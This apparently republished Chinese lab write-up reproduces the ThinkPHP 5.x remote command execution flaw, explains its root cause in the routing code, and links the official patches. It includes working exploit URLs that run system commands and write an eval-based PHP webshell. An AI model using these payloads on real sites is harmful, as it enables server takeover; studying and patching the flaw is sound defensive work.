【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)
0x00复现环境
ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)
0x01步骤
点击
start to hack
进入环境页面 run the project 然后访问给出的target address
执行系统命令显示目录下文件
http://aaa.vsplate.me:52763/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
执行phpinfo
http://aaa.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'写shell
http://aaa.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
想你所想,发挥创意
0x02漏洞原理分析
关键代码
在修复之前程序未对控制器进行过滤,导致攻 击 者可以通过引入 \
符号来调用任意类方法。
$this -> app -> controller 方法来实例化控制器,然后调用实例中的方法。
follow the controller method:thinkphp/library/think/App.php
通过parseModuleAndClass方法解析出$module和$class,实例化$class。
thinkphp / library / think /App.php
当$name以反斜线\开始时直接将其作为类名。
利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。
thinkphp/library/think/route/Rule.php
往回看路由解析的代码,其中route/dispatch/Url.php:: parseUrl方法调用了route/Rule.php:: parseUrlPath来解析pathinfo中的路由信息
route/dispatch/Url.php
route/Rule.php
使用/对$url进行分割,未进行任何过滤。
路由url从Request::path()中获取
其中,我们来看一下pathinfo函数
由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递
但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/。结合前面分析可得初步利用代码如下:
index.php?s=index/\namespace\class/method
这将会实例化\namespace\class类并执行method方法
0x03 漏洞PoC
使用的是pocsuite框架
0x04 漏洞修复
Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
0x05 漏洞利用(目前出现的***手段)
威胁预警 | ThinkPHP v5新漏洞***案例首曝光
0x06 reference
http://www.vulnspy.com/cn-thinkphp-5.x-rce/thinkphp_5.x_(v5.0.23%E5%8F%8Av5.1.31%E4%BB%A5%E4%B8%8B%E7%89%88%E6%9C%AC)_%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%EF%BC%88getshell%EF%BC%89/
【2019-1-24更新】发现大佬们的动态调试 下一个复现可以试一试
转载于:https://blog.51cto.com/11834557/2328927
【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)相关推荐
- 漏洞复现----6、Jenkins远程命令执行漏洞(CVE-2018-1000861)
文章目录 一.Jenkins简介 二.CVE-2018-1000861简介 三.漏洞复现 一.Jenkins简介 Jenkins是一个独立的开源自动化服务器,由JAVA开发. 可用于自动化各种任务,如 ...
- 【漏洞复现】CNVD-2022-10270向日葵远程代码执行
声明:本文内容仅供学习参考 目录 声明:本文内容仅供学习参考 一.漏洞介绍 二.影响范围 三.漏洞复现 复现思路一: 复现思路二: 一.漏洞介绍 向日葵远程控制是上海贝锐信息科技股份有限公司开发的一款 ...
- war包启动命令_【漏洞预警】Oracle WebLogic远程命令执行0day漏洞(CVE20192725补丁绕过)...
概述 近日,奇安信天眼与安服团队通过数据监控发现,野外出现Oracle WebLogic远程命令执行漏洞最新利用代码,此攻击利用绕过了厂商今年4月底所发布的最新安全补丁(CVE-2019-2725). ...
- 【漏洞复现】IE 浏览器远程代码执行漏洞(CVE-2018-8174)
一.CVE-2018-8174(本质是 Windows VBScript Engine 代码执行漏洞) 由于 VBScript 脚本执行引擎(vbscript.dll)存在代码执行漏洞,攻击者可以将恶 ...
- 【漏洞复现】IE 浏览器远程代码执行漏洞
Windows VBScript Engine 代码执行漏洞(CVE-2018-8174) 在2018年5月9日的时候360发表了一份apt攻击分析及溯源报告 文中提到了cve-2018-8174这个 ...
- MS08-067 (CVE-2008-4250) 远程命令执行漏洞
文章目录 前言 一.漏洞简介 二.影响范围 三.漏洞危害 四.本地复现 五.补丁编号 六. Windows Server 2003 SP2 中文版利用方法 七.漏洞原理深度剖析 前言 本文为08年出现 ...
- ThinkPHP V5.0.5漏洞_ThinkPHP 5.x 远程命令执行漏洞分析与复现
php中文网最新课程 每日17点准时技术干货分享 0x00 前言 ThinkPHP 官方 2018 年 12 月 9 日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新 ...
- PHPMailer远程命令执行漏洞复现
PHPMailer远程命令执行漏洞复现 一.漏洞简介 PHPMailer是PHP电子邮件创建及传输类,用于多个开源项目:WordPress, Drupal, 1CRM, SugarCRM, Yii, ...
- 开源堡垒机JumpServer远程命令执行漏洞复现
声明 好好学习,天天向上 漏洞描述 JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统.JumpServer 使用Python ...
最新文章
- [WTL] STLport安装指南
- 计算器百分号如何用代码实现_如何用 100 行 Python 代码实现新闻爬虫?这样可算成功?...
- TensorFlow 深入MNIST
- js中函数对象的方法,原型方法apply、call、bind、toString、toLocaleString、valueOf
- (转自YYW'S BLOG)IListT 转换成 DataSet
- 精通Linux Unix Shell编程电子书免费分享
- arm架构与体系结构
- 河南省旅馆业信息化管理实现“人证核验、无证入住”系统全覆盖
- 单片机算法c语言程序,51单片机PID的算法实现程序C语言
- 没基础,也可一文看懂 python 中的 csv 模块
- 34-高级路由:BGP汇总:实验五 route-map+suppress-map过滤、as-set
- 华为服务器2488H V6的ibmc接口配置
- 华为nova7星耀版和华为nova7普通版 的区别 哪个好
- 前端Ajax实现预览TXT文档(兼容UTF-8,ANCII,Unicode)
- 2021年高考成绩查询衡阳市八中,衡阳市八大名校2020年高考成绩斐然,金榜题名正当时...
- OCR的java开源库
- Spring官方文档通读-部分一
- 微信小程序 - Unhandled promise rejection TypeError: r.Canvas is not a constructor
- linux直流电机测试,电机与动力系统测试
- SVGA实现动画-解决本地引用无效
热门文章
- ArcGIS Engine开发前基础知识(4)
- PAT-B 1007.素数对猜想
- MySQL入门系列:存储程序(二)之存储函数简介
- 微软宣布Azure Function支持Python
- Lync与Exchange 2013 UM集成配置
- 转转转![Spring MVC] - 500/404错误处理-SimpleMappingExceptionResolver
- NODE-WEBKIT教程(12)全屏
- Spring学习总结(18)——Spring整合Mysql数据库一主多从、多主多从配置
- C++对象模型学习——站在对象模型的尖端
- 返回语句C语言return关键字